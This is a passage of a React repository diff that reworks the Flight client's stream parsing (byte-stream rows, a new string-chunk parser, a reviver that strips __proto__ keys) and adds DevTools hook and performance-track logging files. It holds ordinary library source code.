-              resolvedRowTag === 83 /* "S" */ ||
-              resolvedRowTag === 115 /* "s" */ ||
-              resolvedRowTag === 76 /* "L" */ ||
-              resolvedRowTag === 108 /* "l" */ ||
-              resolvedRowTag === 71 /* "G" */ ||
-              resolvedRowTag === 103 /* "g" */ ||
-              resolvedRowTag === 77 /* "M" */ ||
-              resolvedRowTag === 109 /* "m" */ ||
-              resolvedRowTag === 86)) /* "V" */
+          resolvedRowTag === 65 /* "A" */ ||
+          resolvedRowTag === 79 /* "O" */ ||
+          resolvedRowTag === 111 /* "o" */ ||
+          resolvedRowTag === 98 /* "b" */ ||
+          resolvedRowTag === 85 /* "U" */ ||
+          resolvedRowTag === 83 /* "S" */ ||
+          resolvedRowTag === 115 /* "s" */ ||
+          resolvedRowTag === 76 /* "L" */ ||
+          resolvedRowTag === 108 /* "l" */ ||
+          resolvedRowTag === 71 /* "G" */ ||
+          resolvedRowTag === 103 /* "g" */ ||
+          resolvedRowTag === 77 /* "M" */ ||
+          resolvedRowTag === 109 /* "m" */ ||
+          resolvedRowTag === 86 /* "V" */
         ) {
           rowTag = resolvedRowTag;
           rowState = ROW_LENGTH;
           i++;
         } else if (
           (resolvedRowTag > 64 && resolvedRowTag < 91) /* "A"-"Z" */ ||
+          resolvedRowTag === 35 /* "#" */ ||
           resolvedRowTag === 114 /* "r" */ ||
           resolvedRowTag === 120 /* "x" */
         ) {
@@ -2382,7 +5075,31 @@ export function processBinaryChunk(
       // We found the last chunk of the row
       const length = lastIdx - i;
       const lastChunk = new Uint8Array(chunk.buffer, offset, length);
-      processFullRow(response, rowID, rowTag, buffer, lastChunk);
+
+      // Check if this is a Uint8Array for a byte stream. We enqueue it
+      // immediately but need to determine if we can use zero-copy or must copy.
+      if (rowTag === 98 /* "b" */) {
+        resolveBuffer(
+          response,
+          rowID,
+          // If we're at the end of the RSC chunk, no more parsing will access
+          // this buffer and we don't need to copy the chunk to allow detaching
+          // the buffer, otherwise we need to copy.
+          lastIdx === chunkLength ? lastChunk : lastChunk.slice(),
+          streamState,
+        );
+      } else {
+        // Process all other row types.
+        processFullBinaryRow(
+          response,
+          streamState,
+          rowID,
+          rowTag,
+          buffer,
+          lastChunk,
+        );
+      }
+
       // Reset state machine for a new row
       i = lastIdx;
       if (rowState === ROW_CHUNK_BY_NEWLINE) {
@@ -2395,45 +5112,295 @@ export function processBinaryChunk(
       rowLength = 0;
       buffer.length = 0;
     } else {
-      // The rest of this row is in a future chunk. We stash the rest of the
-      // current chunk until we can process the full row.
+      // The rest of this row is in a future chunk.
       const length = chunk.byteLength - i;
       const remainingSlice = new Uint8Array(chunk.buffer, offset, length);
-      buffer.push(remainingSlice);
-      // Update how many bytes we're still waiting for. If we're looking for
-      // a newline, this doesn't hurt since we'll just ignore it.
-      rowLength -= remainingSlice.byteLength;
+
+      // For byte streams, we can enqueue the partial row immediately without
+      // copying since we're at the end of the RSC chunk and no more parsing
+      // will access this buffer.
+      if (rowTag === 98 /* "b" */) {
+        // Update how many bytes we're still waiting for. We need to do this
+        // before enqueueing, as enqueue will detach the buffer and byteLength
+        // will become 0.
+        rowLength -= remainingSlice.byteLength;
+        resolveBuffer(response, rowID, remainingSlice, streamState);
+      } else {
+        // For other row types, stash the rest of the current chunk until we can
+        // process the full row.
+        buffer.push(remainingSlice);
+        // Update how many bytes we're still waiting for. If we're looking for
+        // a newline, this doesn't hurt since we'll just ignore it.
+        rowLength -= remainingSlice.byteLength;
+      }
       break;
     }
   }
-  response._rowState = rowState;
-  response._rowID = rowID;
-  response._rowTag = rowTag;
-  response._rowLength = rowLength;
+  streamState._rowState = rowState;
+  streamState._rowID = rowID;
+  streamState._rowTag = rowTag;
+  streamState._rowLength = rowLength;
+}
+
+export function processStringChunk(
+  weakResponse: WeakResponse,
+  streamState: StreamState,
+  chunk: string,
+): void {
+  if (hasGCedResponse(weakResponse)) {
+    // Ignore more chunks if we've already GC:ed all listeners.
+    return;
+  }
+  const response = unwrapWeakResponse(weakResponse);
+  // This is a fork of processBinaryChunk that takes a string as input.
+  // This can't be just any binary chunk coverted to a string. It needs to be
+  // in the same offsets given from the Flight Server. E.g. if it's shifted by
+  // one byte then it won't line up to the UCS-2 encoding. It also needs to
+  // be valid Unicode. Also binary chunks cannot use this even if they're
+  // value Unicode. Large strings are encoded as binary and cannot be passed
+  // here. Basically, only if Flight Server gave you this string as a chunk,
+  // you can use it here.
+  let i = 0;
+  let rowState = streamState._rowState;
+  let rowID = streamState._rowID;
+  let rowTag = streamState._rowTag;
+  let rowLength = streamState._rowLength;
+  const buffer = streamState._buffer;
+  const chunkLength = chunk.length;
+  incrementChunkDebugInfo(streamState, chunkLength);
+  while (i < chunkLength) {
+    let lastIdx = -1;
+    switch (rowState) {
+      case ROW_ID: {
+        const byte = chunk.charCodeAt(i++);
+        if (byte === 58 /* ":" */) {
+          // Finished the rowID, next we'll parse the tag.
+          rowState = ROW_TAG;
+        } else {
+          rowID = (rowID << 4) | (byte > 96 ? byte - 87 : byte - 48);
+        }
+        continue;
+      }
+      case ROW_TAG: {
+        const resolvedRowTag = chunk.charCodeAt(i);
+        if (
+          resolvedRowTag === 84 /* "T" */ ||
+          resolvedRowTag === 65 /* "A" */ ||
+          resolvedRowTag === 79 /* "O" */ ||
+          resolvedRowTag === 111 /* "o" */ ||
+          resolvedRowTag === 85 /* "U" */ ||
+          resolvedRowTag === 83 /* "S" */ ||
+          resolvedRowTag === 115 /* "s" */ ||
+          resolvedRowTag === 76 /* "L" */ ||
+          resolvedRowTag === 108 /* "l" */ ||
+          resolvedRowTag === 71 /* "G" */ ||
+          resolvedRowTag === 103 /* "g" */ ||
+          resolvedRowTag === 77 /* "M" */ ||
+          resolvedRowTag === 109 /* "m" */ ||
+          resolvedRowTag === 86 /* "V" */
+        ) {
+          rowTag = resolvedRowTag;
+          rowState = ROW_LENGTH;
+          i++;
+        } else if (
+          (resolvedRowTag > 64 && resolvedRowTag < 91) /* "A"-"Z" */ ||
+          resolvedRowTag === 114 /* "r" */ ||
+          resolvedRowTag === 120 /* "x" */
+        ) {
+          rowTag = resolvedRowTag;
+          rowState = ROW_CHUNK_BY_NEWLINE;
+          i++;
+        } else {
+          rowTag = 0;
+          rowState = ROW_CHUNK_BY_NEWLINE;
+          // This was an unknown tag so it was probably part of the data.
+        }
+        continue;
+      }
+      case ROW_LENGTH: {
+        const byte = chunk.charCodeAt(i++);
+        if (byte === 44 /* "," */) {
+          // Finished the rowLength, next we'll buffer up to that length.
+          rowState = ROW_CHUNK_BY_LENGTH;
+        } else {
+          rowLength = (rowLength << 4) | (byte > 96 ? byte - 87 : byte - 48);
+        }
+        continue;
+      }
+      case ROW_CHUNK_BY_NEWLINE: {
+        // We're looking for a newline
+        lastIdx = chunk.indexOf('\n', i);
+        break;
+      }
+      case ROW_CHUNK_BY_LENGTH: {
+        if (rowTag !== 84) {
+          throw new Error(
+            'Binary RSC chunks cannot be encoded as strings. ' +
+              'This is a bug in the wiring of the React streams.',
+          );
+        }
+        // For a large string by length, we don't know how many unicode characters
+        // we are looking for but we can assume that the raw string will be its own
+        // chunk. We add extra validation that the length is at least within the
+        // possible byte range it could possibly be to catch mistakes.
+        if (rowLength < chunk.length || chunk.length > rowLength * 3) {
+          throw new Error(
+            'String chunks need to be passed in their original shape. ' +
+              'Not split into smaller string chunks. ' +
+              'This is a bug in the wiring of the React streams.',
+          );
+        }
+        lastIdx = chunk.length;
+        break;
+      }
+    }
+    if (lastIdx > -1) {
+      // We found the last chunk of the row
+      if (buffer.length > 0) {
+        // If we had a buffer already, it means that this chunk was split up into
+        // binary chunks preceeding it.
+        throw new Error(
+          'String chunks need to be passed in their original shape. ' +
+            'Not split into smaller string chunks. ' +
+            'This is a bug in the wiring of the React streams.',
+        );
+      }
+      const lastChunk = chunk.slice(i, lastIdx);
+      processFullStringRow(response, streamState, rowID, rowTag, lastChunk);
+      // Reset state machine for a new row
+      i = lastIdx;
+      if (rowState === ROW_CHUNK_BY_NEWLINE) {
+        // If we're trailing by a newline we need to skip it.
+        i++;
+      }
+      rowState = ROW_ID;
+      rowTag = 0;
+      rowID = 0;
+      rowLength = 0;
+      buffer.length = 0;
+    } else if (chunk.length !== i) {
+      // The rest of this row is in a future chunk. We only support passing the
+      // string from chunks in their entirety. Not split up into smaller string chunks.
+      // We could support this by buffering them but we shouldn't need to for
+      // this use case.
+      throw new Error(
+        'String chunks need to be passed in their original shape. ' +
+          'Not split into smaller string chunks. ' +
+          'This is a bug in the wiring of the React streams.',
+      );
+    }
+  }
+  streamState._rowState = rowState;
+  streamState._rowID = rowID;
+  streamState._rowTag = rowTag;
+  streamState._rowLength = rowLength;
 }
 
 function parseModel<T>(response: Response, json: UninitializedModel): T {
-  return JSON.parse(json, response._fromJSON);
+  const rawModel = JSON.parse(json);
+  // Pass a wrapper object as parentObject to match the original JSON.parse
+  // reviver behavior, where the root value's reviver receives {"": rootValue}
+  // as `this`. This ensures parentObject is never null when accessed downstream.
+  return reviveModel(response, rawModel, {'': rawModel}, '');
 }
 
-function createFromJSONCallback(response: Response) {
-  // $FlowFixMe[missing-this-annot]
-  return function (key: string, value: JSONValue) {
-    if (typeof value === 'string') {
-      // We can't use .bind here because we need the "this" value.
-      return parseModelString(response, this, key, value);
+function reviveModel(
+  response: Response,
+  value: JSONValue,
+  parentObject: Object,
+  key: string,
+): any {
+  if (typeof value === 'string') {
+    if (value[0] === '$') {
+      return parseModelString(response, parentObject, key, value);
     }
-    if (typeof value === 'object' && value !== null) {
+    return value;
+  }
+  if (typeof value !== 'object' || value === null) {
+    return value;
+  }
+  if (isArray(value)) {
+    for (let i = 0; i < value.length; i++) {
+      (value: any)[i] = reviveModel(response, value[i], value, '' + i);
+    }
+    if (value[0] === REACT_ELEMENT_TYPE) {
+      // React element tuple
       return parseModelTuple(response, value);
     }
     return value;
-  };
+  }
+  // Plain object
+  for (const k in value) {
+    if (k === __PROTO__) {
+      delete (value: any)[k];
+    } else {
+      const walked = reviveModel(response, (value: any)[k], value, k);
+      if (walked !== undefined) {
+        (value: any)[k] = walked;
+      } else {
+        delete (value: any)[k];
+      }
+    }
+  }
+  return value;
+}
+
+export function close(weakResponse: WeakResponse): void {
+  // In case there are any remaining unresolved chunks, they won't be resolved
+  // now. So we either error or halt them depending on whether partial streams
+  // are allowed.
+  // TODO: Ideally we should be able to bail out early if we kept a ref count of
+  // pending chunks.
+  if (hasGCedResponse(weakResponse)) {
+    return;
+  }
+  const response = unwrapWeakResponse(weakResponse);
+  if (response._allowPartialStream) {
+    // For partial streams, we halt pending chunks instead of erroring them.
+    response._closed = true;
+    response._chunks.forEach(chunk => {
+      if (chunk.status === PENDING) {
+        // Clear listeners to release closures and transition to HALTED.
+        // Future .then() calls on HALTED chunks are no-ops.
+        releasePendingChunk(response, chunk);
+        const haltedChunk: HaltedChunk<any> = (chunk: any);
+        haltedChunk.status = HALTED;
+        haltedChunk.value = null;
+        haltedChunk.reason = null;
+      } else if (chunk.status === INITIALIZED && chunk.reason !== null) {
+        // Stream chunk - close gracefully instead of erroring.
+        chunk.reason.close('"$undefined"');
+      }
+    });
+    if (__DEV__) {
+      const debugChannel = response._debugChannel;
+      if (debugChannel !== undefined) {
+        closeDebugChannel(debugChannel);
+        response._debugChannel = undefined;
+        if (debugChannelRegistry !== null) {
+          debugChannelRegistry.unregister(response);
+        }
+      }
+    }
+  } else {
+    reportGlobalError(weakResponse, new Error('Connection closed.'));
+  }
 }
 
-export function close(response: Response): void {
-  // In case there are any remaining unresolved chunks, they won't
-  // be resolved now. So we need to issue an error to those.
-  // Ideally we should be able to early bail out if we kept a
-  // ref count of pending chunks.
-  reportGlobalError(response, new Error('Connection closed.'));
+function getCurrentOwnerInDEV(): null | ReactComponentInfo {
+  return currentOwnerInDEV;
+}
+
+export function injectIntoDevTools(): boolean {
+  const internals: Object = {
+    bundleType: __DEV__ ? 1 : 0, // Might add PROFILE later.
+    version: rendererVersion,
+    rendererPackageName: rendererPackageName,
+    currentDispatcherRef: ReactSharedInternals,
+    // Enables DevTools to detect reconciler version rather than renderer version
+    // which may not match for third party renderers.
+    reconcilerVersion: ReactVersion,
+    getCurrentComponentInfo: getCurrentOwnerInDEV,
+  };
+  return injectInternals(internals);
 }
diff --git a/packages/react-client/src/ReactFlightClientConsoleConfigBrowser.js b/packages/react-client/src/ReactFlightClientConsoleConfigBrowser.js
deleted file mode 100644
index cc934685c8f7..000000000000
--- a/packages/react-client/src/ReactFlightClientConsoleConfigBrowser.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-const badgeFormat = '%c%s%c ';
-// Same badge styling as DevTools.
-const badgeStyle =
-  // We use a fixed background if light-dark is not supported, otherwise
-  // we use a transparent background.
-  'background: #e6e6e6;' +
-  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
-  'color: #000000;' +
-  'color: light-dark(#000000, #ffffff);' +
-  'border-radius: 2px';
-const resetStyle = '';
-const pad = ' ';
-
-export function printToConsole(
-  methodName: string,
-  args: Array<any>,
-  badgeName: string,
-): void {
-  let offset = 0;
-  switch (methodName) {
-    case 'dir':
-    case 'dirxml':
-    case 'groupEnd':
-    case 'table': {
-      // These methods cannot be colorized because they don't take a formatting string.
-      // eslint-disable-next-line react-internal/no-production-logging
-      console[methodName].apply(console, args);
-      return;
-    }
-    case 'assert': {
-      // assert takes formatting options as the second argument.
-      offset = 1;
-    }
-  }
-
-  const newArgs = args.slice(0);
-  if (typeof newArgs[offset] === 'string') {
-    newArgs.splice(
-      offset,
-      1,
-      badgeFormat + newArgs[offset],
-      badgeStyle,
-      pad + badgeName + pad,
-      resetStyle,
-    );
-  } else {
-    newArgs.splice(
-      offset,
-      0,
-      badgeFormat,
-      badgeStyle,
-      pad + badgeName + pad,
-      resetStyle,
-    );
-  }
-
-  // eslint-disable-next-line react-internal/no-production-logging
-  console[methodName].apply(console, newArgs);
-  return;
-}
diff --git a/packages/react-client/src/ReactFlightClientConsoleConfigPlain.js b/packages/react-client/src/ReactFlightClientConsoleConfigPlain.js
deleted file mode 100644
index 1dbdec54cd07..000000000000
--- a/packages/react-client/src/ReactFlightClientConsoleConfigPlain.js
+++ /dev/null
@@ -1,50 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-const badgeFormat = '[%s] ';
-const pad = ' ';
-
-export function printToConsole(
-  methodName: string,
-  args: Array<any>,
-  badgeName: string,
-): void {
-  let offset = 0;
-  switch (methodName) {
-    case 'dir':
-    case 'dirxml':
-    case 'groupEnd':
-    case 'table': {
-      // These methods cannot be colorized because they don't take a formatting string.
-      // eslint-disable-next-line react-internal/no-production-logging
-      console[methodName].apply(console, args);
-      return;
-    }
-    case 'assert': {
-      // assert takes formatting options as the second argument.
-      offset = 1;
-    }
-  }
-
-  const newArgs = args.slice(0);
-  if (typeof newArgs[offset] === 'string') {
-    newArgs.splice(
-      offset,
-      1,
-      badgeFormat + newArgs[offset],
-      pad + badgeName + pad,
-    );
-  } else {
-    newArgs.splice(offset, 0, badgeFormat, pad + badgeName + pad);
-  }
-
-  // eslint-disable-next-line react-internal/no-production-logging
-  console[methodName].apply(console, newArgs);
-  return;
-}
diff --git a/packages/react-client/src/ReactFlightClientConsoleConfigServer.js b/packages/react-client/src/ReactFlightClientConsoleConfigServer.js
deleted file mode 100644
index 7567483245fa..000000000000
--- a/packages/react-client/src/ReactFlightClientConsoleConfigServer.js
+++ /dev/null
@@ -1,70 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-// This flips color using ANSI, then sets a color styling, then resets.
-const badgeFormat = '\x1b[0m\x1b[7m%c%s\x1b[0m%c ';
-// Same badge styling as DevTools.
-const badgeStyle =
-  // We use a fixed background if light-dark is not supported, otherwise
-  // we use a transparent background.
-  'background: #e6e6e6;' +
-  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
-  'color: #000000;' +
-  'color: light-dark(#000000, #ffffff);' +
-  'border-radius: 2px';
-const resetStyle = '';
-const pad = ' ';
-
-export function printToConsole(
-  methodName: string,
-  args: Array<any>,
-  badgeName: string,
-): void {
-  let offset = 0;
-  switch (methodName) {
-    case 'dir':
-    case 'dirxml':
-    case 'groupEnd':
-    case 'table': {
-      // These methods cannot be colorized because they don't take a formatting string.
-      // eslint-disable-next-line react-internal/no-production-logging
-      console[methodName].apply(console, args);
-      return;
-    }
-    case 'assert': {
-      // assert takes formatting options as the second argument.
-      offset = 1;
-    }
-  }
-
-  const newArgs = args.slice(0);
-  if (typeof newArgs[offset] === 'string') {
-    newArgs.splice(
-      offset,
-      1,
-      badgeFormat + newArgs[offset],
-      badgeStyle,
-      pad + badgeName + pad,
-      resetStyle,
-    );
-  } else {
-    newArgs.splice(
-      offset,
-      0,
-      badgeFormat,
-      badgeStyle,
-      pad + badgeName + pad,
-      resetStyle,
-    );
-  }
-
-  // eslint-disable-next-line react-internal/no-production-logging
-  console[methodName].apply(console, newArgs);
-  return;
-}
diff --git a/packages/react-client/src/ReactFlightClientDevToolsHook.js b/packages/react-client/src/ReactFlightClientDevToolsHook.js
new file mode 100644
index 000000000000..4f5a716eb32f
--- /dev/null
+++ b/packages/react-client/src/ReactFlightClientDevToolsHook.js
@@ -0,0 +1,43 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+declare const __REACT_DEVTOOLS_GLOBAL_HOOK__: Object | void;
+
+export function injectInternals(internals: Object): boolean {
+  if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {
+    // No DevTools
+    return false;
+  }
+  const hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;
+  if (hook.isDisabled) {
+    // This isn't a real property on the hook, but it can be set to opt out
+    // of DevTools integration and associated warnings and logs.
+    // https://github.com/facebook/react/issues/3877
+    return true;
+  }
+  if (!hook.supportsFlight) {
+    // DevTools exists, even though it doesn't support Flight.
+    return true;
+  }
+  try {
+    hook.inject(internals);
+  } catch (err) {
+    // Catch all errors because it is unsafe to throw during initialization.
+    if (__DEV__) {
+      console.error('React instrumentation encountered an error: %o.', err);
+    }
+  }
+  if (hook.checkDCE) {
+    // This is the real DevTools.
+    return true;
+  } else {
+    // This is likely a hook installed by Fast Refresh runtime.
+    return false;
+  }
+}
diff --git a/packages/react-client/src/ReactFlightPerformanceTrack.js b/packages/react-client/src/ReactFlightPerformanceTrack.js
new file mode 100644
index 000000000000..fb29fb45d0b4
--- /dev/null
+++ b/packages/react-client/src/ReactFlightPerformanceTrack.js
@@ -0,0 +1,649 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+/* eslint-disable react-internal/no-production-logging */
+
+import type {
+  ReactComponentInfo,
+  ReactIOInfo,
+  ReactAsyncInfo,
+} from 'shared/ReactTypes';
+
+import {enableProfilerTimer} from 'shared/ReactFeatureFlags';
+
+import {
+  addValueToProperties,
+  addObjectToProperties,
+} from 'shared/ReactPerformanceTrackProperties';
+
+import {getIODescription} from 'shared/ReactIODescription';
+
+const supportsUserTiming =
+  enableProfilerTimer &&
+  typeof console !== 'undefined' &&
+  typeof console.timeStamp === 'function' &&
+  typeof performance !== 'undefined' &&
+  // $FlowFixMe[method-unbinding]
+  typeof performance.measure === 'function';
+
+const IO_TRACK = 'Server Requests ⚛';
+const COMPONENTS_TRACK = 'Server Components ⚛';
+
+export function markAllTracksInOrder() {
+  if (supportsUserTiming) {
+    // Ensure we create the Server Component track groups earlier than the Client Scheduler
+    // and Client Components. We can always add the 0 time slot even if it's in the past.
+    // That's still considered for ordering.
+    console.timeStamp(
+      'Server Requests Track',
+      0.001,
+      0.001,
+      IO_TRACK,
+      undefined,
+      'primary-light',
+    );
+    console.timeStamp(
+      'Server Components Track',
+      0.001,
+      0.001,
+      'Primary',
+      COMPONENTS_TRACK,
+      'primary-light',
+    );
+  }
+}
+
+const trackNames = [
+  'Primary',
+  'Parallel',
+  'Parallel\u200b', // Padded with zero-width space to give each track a unique name.
+  'Parallel\u200b\u200b',
+  'Parallel\u200b\u200b\u200b',
+  'Parallel\u200b\u200b\u200b\u200b',
+  'Parallel\u200b\u200b\u200b\u200b\u200b',
+  'Parallel\u200b\u200b\u200b\u200b\u200b\u200b',
+  'Parallel\u200b\u200b\u200b\u200b\u200b\u200b\u200b',
+  'Parallel\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b',
+];
+
+export function logComponentRender(
+  componentInfo: ReactComponentInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  childrenEndTime: number,
+  rootEnv: string,
+): void {
+  if (supportsUserTiming && childrenEndTime >= 0 && trackIdx < 10) {
+    const env = componentInfo.env;
+    const name = componentInfo.name;
+    const isPrimaryEnv = env === rootEnv;
+    const selfTime = endTime - startTime;
+    const color =
+      selfTime < 0.5
+        ? isPrimaryEnv
+          ? 'primary-light'
+          : 'secondary-light'
+        : selfTime < 50
+          ? isPrimaryEnv
+            ? 'primary'
+            : 'secondary'
+          : selfTime < 500
+            ? isPrimaryEnv
+              ? 'primary-dark'
+              : 'secondary-dark'
+            : 'error';
+    const entryName =
+      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';
+    const debugTask = componentInfo.debugTask;
+    const measureName = '\u200b' + entryName;
+    if (__DEV__ && debugTask) {
+      const properties: Array<[string, string]> = [];
+      if (componentInfo.key != null) {
+        addValueToProperties('key', componentInfo.key, properties, 0, '');
+      }
+      if (componentInfo.props != null) {
+        addObjectToProperties(componentInfo.props, properties, 0, '');
+      }
+
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, measureName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: childrenEndTime,
+          detail: {
+            devtools: {
+              color: color,
+              track: trackNames[trackIdx],
+              trackGroup: COMPONENTS_TRACK,
+              properties,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        measureName,
+        startTime < 0 ? 0 : startTime,
+        childrenEndTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        color,
+      );
+    }
+  }
+}
+
+export function logComponentAborted(
+  componentInfo: ReactComponentInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  childrenEndTime: number,
+  rootEnv: string,
+): void {
+  if (supportsUserTiming) {
+    const env = componentInfo.env;
+    const name = componentInfo.name;
+    const isPrimaryEnv = env === rootEnv;
+    const entryName =
+      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';
+    const measureName = '\u200b' + entryName;
+    if (__DEV__) {
+      const properties: Array<[string, string]> = [
+        [
+          'Aborted',
+          'The stream was aborted before this Component finished rendering.',
+        ],
+      ];
+      if (componentInfo.key != null) {
+        addValueToProperties('key', componentInfo.key, properties, 0, '');
+      }
+      if (componentInfo.props != null) {
+        addObjectToProperties(componentInfo.props, properties, 0, '');
+      }
+
+      performance.measure(measureName, {
+        start: startTime < 0 ? 0 : startTime,
+        end: childrenEndTime,
+        detail: {
+          devtools: {
+            color: 'warning',
+            track: trackNames[trackIdx],
+            trackGroup: COMPONENTS_TRACK,
+            tooltipText: entryName + ' Aborted',
+            properties,
+          },
+        },
+      });
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        measureName,
+        startTime < 0 ? 0 : startTime,
+        childrenEndTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        'warning',
+      );
+    }
+  }
+}
+
+export function logComponentErrored(
+  componentInfo: ReactComponentInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  childrenEndTime: number,
+  rootEnv: string,
+  error: mixed,
+): void {
+  if (supportsUserTiming) {
+    const env = componentInfo.env;
+    const name = componentInfo.name;
+    const isPrimaryEnv = env === rootEnv;
+    const entryName =
+      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';
+    const measureName = '\u200b' + entryName;
+    if (__DEV__) {
+      const message =
+        typeof error === 'object' &&
+        error !== null &&
+        typeof error.message === 'string'
+          ? // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error.message)
+          : // eslint-disable-next-line react-internal/safe-string-coercion
+            String(error);
+      const properties: Array<[string, string]> = [['Error', message]];
+      if (componentInfo.key != null) {
+        addValueToProperties('key', componentInfo.key, properties, 0, '');
+      }
+      if (componentInfo.props != null) {
+        addObjectToProperties(componentInfo.props, properties, 0, '');
+      }
+
+      performance.measure(measureName, {
+        start: startTime < 0 ? 0 : startTime,
+        end: childrenEndTime,
+        detail: {
+          devtools: {
+            color: 'error',
+            track: trackNames[trackIdx],
+            trackGroup: COMPONENTS_TRACK,
+            tooltipText: entryName + ' Errored',
+            properties,
+          },
+        },
+      });
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        measureName,
+        startTime < 0 ? 0 : startTime,
+        childrenEndTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        'error',
+      );
+    }
+  }
+}
+
+export function logDedupedComponentRender(
+  componentInfo: ReactComponentInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  rootEnv: string,
+): void {
+  if (supportsUserTiming && endTime >= 0 && trackIdx < 10) {
+    const env = componentInfo.env;
+    const name = componentInfo.name;
+    const isPrimaryEnv = env === rootEnv;
+    const color = isPrimaryEnv ? 'primary-light' : 'secondary-light';
+    const entryName = name + ' [deduped]';
+    const debugTask = componentInfo.debugTask;
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          entryName,
+          startTime < 0 ? 0 : startTime,
+          endTime,
+          trackNames[trackIdx],
+          COMPONENTS_TRACK,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        entryName,
+        startTime < 0 ? 0 : startTime,
+        endTime,
+        trackNames[trackIdx],
+        COMPONENTS_TRACK,
+        color,
+      );
+    }
+  }
+}
+
+function getIOColor(
+  functionName: string,
+): 'tertiary-light' | 'tertiary' | 'tertiary-dark' {
+  // Add some color variation to be able to distinguish various sources.
+  switch (functionName.charCodeAt(0) % 3) {
+    case 0:
+      return 'tertiary-light';
+    case 1:
+      return 'tertiary';
+    default:
+      return 'tertiary-dark';
+  }
+}
+
+function getIOLongName(
+  ioInfo: ReactIOInfo,
+  description: string,
+  env: void | string,
+  rootEnv: string,
+): string {
+  const name = ioInfo.name;
+  const longName = description === '' ? name : name + ' (' + description + ')';
+  const isPrimaryEnv = env === rootEnv;
+  return isPrimaryEnv || env === undefined
+    ? longName
+    : longName + ' [' + env + ']';
+}
+
+function getIOShortName(
+  ioInfo: ReactIOInfo,
+  description: string,
+  env: void | string,
+  rootEnv: string,
+): string {
+  const name = ioInfo.name;
+  const isPrimaryEnv = env === rootEnv;
+  const envSuffix = isPrimaryEnv || env === undefined ? '' : ' [' + env + ']';
+  let desc = '';
+  const descMaxLength = 30 - name.length - envSuffix.length;
+  if (descMaxLength > 1) {
+    const l = description.length;
+    if (l > 0 && l <= descMaxLength) {
+      // We can fit the full description
+      desc = ' (' + description + ')';
+    } else if (
+      description.startsWith('http://') ||
+      description.startsWith('https://') ||
+      description.startsWith('/')
+    ) {
+      // Looks like a URL. Let's see if we can extract something shorter.
+      // We don't have to do a full parse so let's try something cheaper.
+      let queryIdx = description.indexOf('?');
+      if (queryIdx === -1) {
+        queryIdx = description.length;
+      }
+      if (description.charCodeAt(queryIdx - 1) === 47 /* "/" */) {
+        // Ends with slash. Look before that.
+        queryIdx--;
+      }
+      const slashIdx = description.lastIndexOf('/', queryIdx - 1);
+      if (queryIdx - slashIdx < descMaxLength) {
+        // This may now be either the file name or the host.
+        // Include the slash to make it more obvious what we trimmed.
+        desc = ' (…' + description.slice(slashIdx, queryIdx) + ')';
+      } else {
+        // cut out the middle to not exceed the max length
+        const start = description.slice(slashIdx, slashIdx + descMaxLength / 2);
+        const end = description.slice(queryIdx - descMaxLength / 2, queryIdx);
+        desc = ' (' + (slashIdx > 0 ? '…' : '') + start + '…' + end + ')';
+      }
+    }
+  }
+  return name + desc + envSuffix;
+}
+
+export function logComponentAwaitAborted(
+  asyncInfo: ReactAsyncInfo,
+  trackIdx: number,
+  startTime: number,
+  endTime: number,
+  rootEnv: string,
+): void {
+  if (supportsUserTiming && endTime > 0) {
+    const entryName =
+      'await ' + getIOShortName(asyncInfo.awaited, '', asyncInfo.env, rootEnv);
+    const debugTask = asyncInfo.debugTask || asyncInfo.awaited.debugTask;
+    if (__DEV__ && debugTask) {
+      const properties = [
+        ['Aborted', 'The stream was aborted before this Promise resolved.'],
+      ];
+      const tooltipText =
+        getIOLongName(asyncInfo.awaited, '', asyncInfo.env, rootEnv) +
+        ' Aborted';
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        performance.measure.bind(performance, entryName, {
+          start: startTime < 0 ? 0 : startTime,
+          end: endTime,
+          detail: {
+            devtools: {
+              color: 'warning',
+              track: trackNames[trackIdx],
+              trackGroup: COMPONENTS_TRACK,
+              properties,
+              tooltipText,
+            },
+          },
+        }),
+      );
+      performance.clearMeasures(entryName);
+    } else {
+      console.timeStamp(
+        entryName,
